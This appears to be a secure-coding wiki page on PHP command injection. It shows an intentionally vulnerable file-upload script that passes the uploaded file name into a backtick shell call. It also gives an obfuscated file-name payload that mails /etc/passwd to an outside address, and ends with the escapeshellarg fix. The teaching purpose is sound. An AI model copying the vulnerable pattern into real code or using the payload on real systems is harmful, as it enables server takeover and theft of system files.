Using Variables with System Calls

From SecurePHPWiki
Jump to: navigation, search

Each of the following functions allow PHP to execute operating system commands. Therefore, these functions are especially dangerous. This becomes a problem when the script uses these commands in conjunction with browser modifiable variables.

eval
shell_exec
proc_open
system
exec
passthru
popen
`` // back tick operator

This script compresses and copies and uploaded file to a specific directory.

<?php

   $zip        = "/usr/bin/zip";
   $store_path = "/usr/local/archives/";

    if (isset($_FILES['file'])) {

       $tmp_name = $_FILES['file']['tmp_name'];
       $cmp_name = dirname($_FILES['file']['tmp_name']) .
           "/{$_FILES['file']['name']}.zip";

       $filename = basename($cmp_name);

       if (file_exists($tmp_name)) {

           $systemcall = "$zip $cmp_name $tmp_name";
           $output     = `$systemcall`;

           if (file_exists($cmp_name)) {

               $savepath = $store_path.$filename;
               rename($cmp_name, $savepath);

           }

       }

   }

?>

 <form enctype="multipart/form-data" action="<?=$_SERVER['PHP_SELF'];?>" method="POST">
 <input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
 File to compress: <input name="file" type="file"><br>
 <input type="submit" value="Compress File">
 </form> 

By modifying the file name to contain malicious code, a user could execute arbitrary shell commands.

[user@localhost]# touch ";php -r '\$code=base64_decode(\\\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\"); system(\$code);';"

This translates to mail baduser@somewhere.com < /etc/passwd being sent to the CLI version of PHP. This is combated by using escapeshellarg and escapeshellcmd. If the untrusted input is part of an argument list, escapeshellarg is always the best choice.